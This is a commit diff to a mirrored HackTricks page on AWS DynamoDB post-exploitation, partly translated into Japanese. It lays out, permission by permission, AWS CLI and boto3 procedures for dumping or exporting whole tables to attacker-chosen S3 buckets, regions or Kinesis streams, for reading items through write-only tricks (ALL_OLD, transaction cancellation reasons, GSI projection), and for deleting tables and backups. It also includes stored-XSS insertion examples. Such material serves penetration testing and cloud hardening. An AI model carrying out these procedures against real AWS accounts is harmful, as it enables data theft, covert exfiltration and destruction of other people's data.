mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-05 01:07:11 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,10 +1,10 @@
|
||||
# AWS - DynamoDB ポストエクスプロイテーション
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
詳細については、次を確認してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得することができます**(テーブルのすべてのデータを要求することはできません)。これは、プライマリキーを知っている必要があることを意味します(これはテーブルメタデータを取得することで得られます(`describe-table`))。
|
||||
この権限を持つ攻撃者は、**プライマリキーによってテーブルからアイテムを取得**できます(テーブルの全データを一度に要求することはできません)。つまり、プライマリキーを知っている必要があり(テーブルのメタデータを取得して得られます (`describe-table`))、そのキーに基づいてアイテムを取得します。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的に privesc を引き起こす可能性
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します:
|
||||
**Similar to the previous permissions** この権限は前の権限と同様に、潜在的な attacker が取得するエントリの primary key を指定することで、1つのテーブルから値を読み取ることを許可します:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
この権限を使用すると、**`transact-get-items`** メソッドを次のように使用することも可能です:
|
||||
この権限があれば、**`transact-get-items`** メソッドを次のように使用することも可能です:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
|
||||
**Potential Impact:** テーブル内の機密情報を特定することによる間接的な privesc
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**前の権限と同様に** これは、取得するエントリのプライマリキーが与えられた場合に、潜在的な攻撃者が1つのテーブルから値を読み取ることを許可します。これは、[比較のサブセット](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)を使用することを許可しますが、プライマリキーに対して許可される唯一の比較は "EQ" であるため、リクエストで全DBを取得するための比較を使用することはできません。
|
||||
**Similar to the previous permissions** この権限は、エントリを取得するための主キーがわかっている場合に、1つのテーブルから値を読み取ることを潜在的な攻撃者に許します。これは[subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)の使用を許可しますが、主キー(必ず指定される)に対して許可される比較は "EQ" のみであるため、1つのリクエストでDB全体を取得するために比較を使うことはできません。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
|
||||
**Potential Impact:** テーブル内の機密情報を特定することで間接的な privesc
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
この権限を使用して、**テーブル全体を簡単にダンプすることができます**。
|
||||
この権限を使用すると、**dump the entire table easily**。
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することで間接的な privesc が発生する可能性がある
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
この権限を使用して、**テーブル全体を簡単にダンプできます**。
|
||||
この権限を使用すると、**dump the entire table easily**。
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
この権限は、次のように `batch-execute-statement` を実行することも許可します:
|
||||
この権限により `batch-execute-statement` のような操作を実行することもできます:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
しかし、値を指定してプライマリキーを設定する必要があるため、それほど便利ではありません。
|
||||
ただし、プライマリキーに値を指定する必要があるため、それほど有用ではありません。
|
||||
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することで間接的に privesc を引き起こす可能性
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
この権限により、攻撃者は**自分の選択したS3バケットにテーブル全体をエクスポート**することができます:
|
||||
この権限により攻撃者は **export the whole table to a S3 bucket** を任意に実行できます:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
この機能を利用するには、テーブルにポイントインタイムリカバリが有効になっている必要があります。テーブルにそれが有効かどうかは、次のコマンドで確認できます:
|
||||
この操作が動作するには、テーブルで point-in-time-recovery が有効になっている必要があります。テーブルに有効かどうかは次の方法で確認できます:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
それが有効でない場合は、**有効にする**必要があり、そのためには**`dynamodb:ExportTableToPointInTime`**権限が必要です。
|
||||
有効になっていない場合は、**有効化する必要があります**、そのためには **`dynamodb:ExportTableToPointInTime`** 権限が必要です:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**潜在的な影響:** テーブル内の機密情報を特定することによる間接的な権限昇格
|
||||
**Potential Impact:** テーブル内の機密情報を特定することでの間接的な privesc
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
これらの権限を持つ攻撃者は、**バックアップから新しいテーブルを作成**することができる(または、別のテーブルに復元するためにバックアップを作成することさえできる)。その後、必要な権限があれば、**本番**テーブルにはもはや存在しない可能性のあるバックアップから**情報**を確認することができる。
|
||||
これらの権限があれば、攻撃者は**バックアップから新しいテーブルを作成する**ことができます(あるいは別のテーブルに復元するためにバックアップを作成することさえ可能です)。その後、必要な権限があれば、攻撃者はバックアップから**情報**を確認でき、c**本番テーブルにはもはや存在しない可能性のあるデータ**を確認できます。
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**潜在的影響:** テーブルバックアップ内の機密情報を特定することによる間接的な権限昇格
|
||||
**潜在的な影響:** テーブルのバックアップ内の機密情報を特定することで間接的な privesc を引き起こす可能性
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
この権限は、ユーザーが**テーブルに新しいアイテムを追加するか、既存のアイテムを新しいアイテムで置き換える**ことを許可します。同じプライマリキーを持つアイテムがすでに存在する場合、**全体のアイテムが新しいアイテムで置き換えられます**。プライマリキーが存在しない場合、指定されたプライマリキーを持つ新しいアイテムが**作成されます**。
|
||||
この権限により、ユーザーは**テーブルに新しいアイテムを追加するか既存のアイテムを新しいアイテムで置き換える**ことができます。もし同じプライマリキーを持つアイテムが既に存在する場合、**アイテム全体が新しいアイテムで置き換えられます**。プライマリキーが存在しない場合、指定したプライマリキーを持つ新しいアイテムが**作成されます**。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在的影響:** DynamoDBテーブル内のデータを追加/変更できることによるさらなる脆弱性/バイパスの悪用
|
||||
**潜在的な影響:** DynamoDB テーブルのデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性があります
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
この権限は、ユーザーが**アイテムの既存の属性を変更したり、アイテムに新しい属性を追加したりする**ことを許可します。これは**アイテム全体を置き換える**ものではなく、指定された属性のみを更新します。プライマリキーがテーブルに存在しない場合、操作は**指定されたプライマリキーを持つ新しいアイテムを作成し、更新式で指定された属性を設定します。**
|
||||
この権限により、ユーザーは **アイテムの既存の属性を変更するか、アイテムに新しい属性を追加する** ことができます。これはアイテム全体を**置き換える**ものではなく、指定された属性のみを更新します。テーブルにプライマリキーが存在しない場合、操作は指定したプライマリキーで**新しいアイテムを作成し**、更新式で指定された属性を設定します。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,62 +242,294 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在的な影響:** DynamoDBテーブルにデータを追加/変更できることによるさらなる脆弱性/バイパスの悪用
|
||||
**潜在的な影響:** DynamoDB テーブルにデータを追加/変更できることで、さらなる脆弱性やバイパスが悪用される可能性
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
この権限を持つ攻撃者は**DynamoDBテーブルを削除し、データ損失を引き起こす**ことができます。
|
||||
この権限を持つ攻撃者は**DynamoDB テーブルを削除してデータ損失を引き起こすことができる**。
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失と中断。
|
||||
**潜在的な影響**: 削除されたテーブルに依存するサービスのデータ損失および中断。
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
この権限を持つ攻撃者は、**DynamoDBのバックアップを削除でき、災害復旧シナリオの場合にデータ損失を引き起こす可能性があります**。
|
||||
この権限を持つ攻撃者は **DynamoDB のバックアップを削除でき、災害復旧時にデータ損失を引き起こす可能性がある**。
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**潜在的な影響**: データ損失と災害復旧シナリオでのバックアップからの復元不可能。
|
||||
**潜在的影響**: 災害復旧シナリオにおいてバックアップから復旧できないことやデータ損失。
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: これが実際に機能するかテストする
|
||||
> TODO: 実際に動作するかテストする
|
||||
|
||||
これらの権限を持つ攻撃者は、**DynamoDBテーブルでストリームを有効にし、テーブルを更新して変更のストリーミングを開始し、その後ストリームにアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより、攻撃者はデータの変更を監視し、抽出することができ、データ漏洩につながる可能性があります。
|
||||
これらの権限を持つ攻撃者は、**DynamoDB テーブルで stream を有効化し、テーブルを更新して変更の streaming を開始し、その後 stream にアクセスしてテーブルの変更をリアルタイムで監視する**ことができます。これにより攻撃者はデータの変更を監視および exfiltrate し、潜在的に data leakage を引き起こす可能性があります。
|
||||
|
||||
1. DynamoDBテーブルでストリームを有効にする:
|
||||
1. DynamoDB テーブルで stream を有効化する:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb update-table \
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. ARNやその他の詳細を取得するためのストリームを説明します:
|
||||
2. ストリームを説明して、ARN やその他の詳細を取得する:
|
||||
```bash
|
||||
bashCopy codeaws dynamodb describe-stream \
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. ストリームARNを使用してシャードイテレータを取得します:
|
||||
3. stream ARN を使用して shard iterator を取得する:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-shard-iterator \
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
--shard-id <shard_id> \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. シャードイテレータを使用して、ストリームからデータにアクセスし、抽出します:
|
||||
4. shard iterator を使用して stream からデータにアクセスし、exfiltrate します:
|
||||
```bash
|
||||
bashCopy codeaws dynamodbstreams get-records \
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**潜在的な影響**: DynamoDBテーブルの変更に関するリアルタイム監視とデータ漏洩。
|
||||
**Potential impact**: DynamoDB テーブルの変更のリアルタイム監視および data leakage。
|
||||
|
||||
### `dynamodb:UpdateItem` と `ReturnValues=ALL_OLD` を使ってアイテムを読み取る
|
||||
|
||||
`dynamodb:UpdateItem` の権限のみを持つ攻撃者は、通常の読み取り権限(`GetItem`/`Query`/`Scan`)を一切持たなくても、無害な更新を実行して `--return-values ALL_OLD` を要求することでアイテムを読み取ることができます。DynamoDB はレスポンスの `Attributes` フィールドに更新前のアイテムの完全なイメージを返します(これは RCUs を消費しません)。
|
||||
|
||||
- 最小権限: ターゲットのテーブル/キーに対する `dynamodb:UpdateItem`。
|
||||
- 前提条件: アイテムの主キーを知っている必要があります。
|
||||
|
||||
例(無害な属性を追加し、レスポンスで前のアイテムを exfiltrates する):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
--key '{"<PKName>":{"S":"<PKValue>"}}' \
|
||||
--update-expression 'SET #m = :v' \
|
||||
--expression-attribute-names '{"#m":"exfil_marker"}' \
|
||||
--expression-attribute-values '{":v":{"S":"1"}}' \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
CLIのレスポンスには、完全な前回のアイテム(すべての属性)を含む`Attributes`ブロックが含まれます。これにより、書き込み専用アクセスから事実上の読み取りプリミティブが提供されます。
|
||||
|
||||
**潜在的な影響:** 書き込み権限のみでテーブルから任意の項目を読み取ることが可能になり、プライマリキーが既知の場合に機密データのexfiltrationを可能にします。
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
新しいレプリカ Region をDynamoDB Global Table(version 2019.11.21)に追加することでStealth exfiltrationが行えます。プリンシパルがリージョナルレプリカを追加できる場合、テーブル全体が攻撃者が選択したRegionにレプリケートされ、そこから攻撃者はすべてのアイテムを読み取ることができます。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
```bash
|
||||
# Add a new replica Region (from primary Region)
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
|
||||
--region <primary-region>
|
||||
|
||||
# Wait until the replica table becomes ACTIVE in the replica Region
|
||||
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
|
||||
|
||||
# Exfiltrate by reading from the replica Region
|
||||
aws dynamodb scan --table-name <TableName> --region <replica-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (customer-managed KMS)" }}
|
||||
```bash
|
||||
# Specify the CMK to use in the replica Region
|
||||
aws dynamodb update-table \
|
||||
--table-name <TableName> \
|
||||
--replica-updates '[{"Create": {"RegionName": "<replica-region>", "KMSMasterKeyId": "arn:aws:kms:<replica-region>:<account-id>:key/<cmk-id>"}}]' \
|
||||
--region <primary-region>
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
権限: `dynamodb:UpdateTable`(`replica-updates` を含む)または対象テーブルに対する `dynamodb:CreateTableReplica`。レプリカで CMK が使用されている場合、そのキーに対する KMS 権限が必要になることがあります。
|
||||
|
||||
潜在的影響: 攻撃者が制御するリージョンへのテーブル全体のレプリケーションにより、ステルスなデータ持ち出しが発生する可能性があります。
|
||||
|
||||
### `dynamodb:TransactWriteItems` (条件失敗による読み取り + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
トランザクション書き込み権限を持つ攻撃者は、`TransactWriteItems` 内で `Update` を行い、意図的に `ConditionExpression` を失敗させつつ `ReturnValuesOnConditionCheckFailure=ALL_OLD` を設定することで、既存アイテムの全属性を抜き出すことができます。失敗時、DynamoDB はトランザクションのキャンセル理由に以前の属性を含めるため、書き込み専用アクセスが対象キーの読み取りアクセスに実質的に変わります。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
```bash
|
||||
# Create the transaction input (list form for --transact-items)
|
||||
cat > /tmp/tx_items.json << 'JSON'
|
||||
[
|
||||
{
|
||||
"Update": {
|
||||
"TableName": "<TableName>",
|
||||
"Key": {"<PKName>": {"S": "<PKValue>"}},
|
||||
"UpdateExpression": "SET #m = :v",
|
||||
"ExpressionAttributeNames": {"#m": "marker"},
|
||||
"ExpressionAttributeValues": {":v": {"S": "x"}},
|
||||
"ConditionExpression": "attribute_not_exists(<PKName>)",
|
||||
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
|
||||
}
|
||||
}
|
||||
]
|
||||
JSON
|
||||
|
||||
# Execute. Newer AWS CLI versions support returning cancellation reasons
|
||||
aws dynamodb transact-write-items \
|
||||
--transact-items file:///tmp/tx_items.json \
|
||||
--region <region> \
|
||||
--return-cancellation-reasons
|
||||
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PoC (boto3)" }}
|
||||
```python
|
||||
import boto3
|
||||
c=boto3.client('dynamodb',region_name='<region>')
|
||||
try:
|
||||
c.transact_write_items(TransactItems=[{ 'Update': {
|
||||
'TableName':'<TableName>',
|
||||
'Key':{'<PKName>':{'S':'<PKValue>'}},
|
||||
'UpdateExpression':'SET #m = :v',
|
||||
'ExpressionAttributeNames':{'#m':'marker'},
|
||||
'ExpressionAttributeValues':{':v':{'S':'x'}},
|
||||
'ConditionExpression':'attribute_not_exists(<PKName>)',
|
||||
'ReturnValuesOnConditionCheckFailure':'ALL_OLD'}}])
|
||||
except c.exceptions.TransactionCanceledException as e:
|
||||
print(e.response['CancellationReasons'][0]['Item'])
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
権限: `dynamodb:TransactWriteItems` を対象テーブル(および基になるアイテム)に対して。読み取り権限は不要です。
|
||||
|
||||
潜在的影響: 返されるキャンセル理由を利用して、トランザクションの書き込み権限のみでテーブルから主キーによる任意のアイテムを読み取ることができます。
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query`(GSI上)
|
||||
|
||||
低エントロピー属性に対して `ProjectionType=ALL` の Global Secondary Index (GSI) を作成し、その属性をアイテム間で一定の値に設定してから、インデックスを `Query` して完全なアイテムを取得することで、読み取り制限を回避します。ベーステーブルでの `Query`/`Scan` が拒否されていても、インデックスの ARN に対してクエリできれば動作します。
|
||||
|
||||
- 最小権限:
|
||||
- `dynamodb:UpdateTable` を対象テーブルに対して(`ProjectionType=ALL` の GSI を作成するため)。
|
||||
- `dynamodb:UpdateItem` を対象テーブルのキーに対して(各アイテムのインデックス化された属性を設定するため)。
|
||||
- `dynamodb:Query` をインデックスのリソースARN(`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`)に対して。
|
||||
|
||||
手順(PoC in us-east-1):
|
||||
```bash
|
||||
# 1) Create table and seed items (without the future GSI attribute)
|
||||
aws dynamodb create-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb put-item --table-name HTXIdx \
|
||||
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
|
||||
--region us-east-1; done
|
||||
|
||||
# 2) Add GSI on attribute X with ProjectionType=ALL
|
||||
aws dynamodb update-table --table-name HTXIdx \
|
||||
--attribute-definitions AttributeName=X,AttributeType=S \
|
||||
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
|
||||
--region us-east-1
|
||||
# Wait for index to become ACTIVE
|
||||
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
|
||||
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
|
||||
|
||||
# 3) Set X="dump" for each item (only UpdateItem on known keys)
|
||||
for i in 1 2 3 4 5; do \
|
||||
aws dynamodb update-item --table-name HTXIdx \
|
||||
--key "{\"id\":{\"S\":\"$i\"}}" \
|
||||
--update-expression 'SET #x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1; done
|
||||
|
||||
# 4) Query the index by the constant value to retrieve full items
|
||||
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
|
||||
--key-condition-expression '#x = :v' \
|
||||
--expression-attribute-names '{"#x":"X"}' \
|
||||
--expression-attribute-values '{":v":{"S":"dump"}}' \
|
||||
--region us-east-1
|
||||
```
|
||||
**Potential Impact:** ベーステーブルの読み取りAPIが拒否されている場合でも、すべての属性をプロジェクトする新規作成された GSI をクエリすることでテーブル全体を持ち出せる可能性があります。
|
||||
|
||||
|
||||
### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
|
||||
|
||||
DynamoDB の Kinesis streaming destinations を悪用して、テーブルの変更を攻撃者が管理する Kinesis Data Stream に継続的に exfiltrate します。有効化されると、INSERT/MODIFY/REMOVE の各イベントがテーブルの読み取り権限を必要とせずほぼリアルタイムでストリームへ転送されます。
|
||||
|
||||
Minimum permissions (attacker):
|
||||
- 対象テーブルに対する `dynamodb:EnableKinesisStreamingDestination`
|
||||
- 状態を監視するためのオプション: `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable`
|
||||
- 攻撃者所有の Kinesis stream のレコードを消費するための読み取り権限: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
|
||||
|
||||
<details>
|
||||
<summary>PoC (us-east-1)</summary>
|
||||
```bash
|
||||
# 1) Prepare: create a table and seed one item
|
||||
aws dynamodb create-table --table-name HTXKStream \
|
||||
--attribute-definitions AttributeName=id,AttributeType=S \
|
||||
--key-schema AttributeName=id,KeyType=HASH \
|
||||
--billing-mode PAY_PER_REQUEST --region us-east-1
|
||||
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item1.json --region us-east-1
|
||||
# /tmp/htx_item1.json
|
||||
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
|
||||
|
||||
# 2) Create attacker Kinesis Data Stream
|
||||
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
|
||||
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
|
||||
|
||||
# 3) Enable the DynamoDB -> Kinesis streaming destination
|
||||
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
|
||||
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
|
||||
aws dynamodb enable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
|
||||
# Optionally wait until ACTIVE
|
||||
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
|
||||
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
|
||||
|
||||
# 4) Generate changes on the table
|
||||
aws dynamodb put-item --table-name HTXKStream \
|
||||
--item file:///tmp/htx_item2.json --region us-east-1
|
||||
# /tmp/htx_item2.json
|
||||
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
|
||||
aws dynamodb update-item --table-name HTXKStream \
|
||||
--key file:///tmp/htx_key_a1.json \
|
||||
--update-expression "SET #i = :v" \
|
||||
--expression-attribute-names {#i:info} \
|
||||
--expression-attribute-values {:v:{S:updated}} \
|
||||
--region us-east-1
|
||||
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
|
||||
|
||||
# 5) Consume from Kinesis to observe DynamoDB images
|
||||
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
|
||||
--query Shards[0].ShardId --output text)
|
||||
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
|
||||
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
|
||||
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
|
||||
# Decode one record (Data is base64-encoded)
|
||||
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
|
||||
|
||||
# 6) Cleanup (recommended)
|
||||
aws dynamodb disable-kinesis-streaming-destination \
|
||||
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
|
||||
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
|
||||
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
|
||||
```
|
||||
</details>
|
||||
|
||||
**潜在的影響:** テーブルの変更を攻撃者が制御する Kinesis ストリームへ、テーブルへの直接的な読み取り操作を行わずに継続的かつほぼリアルタイムで持ち出すことが可能になる。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user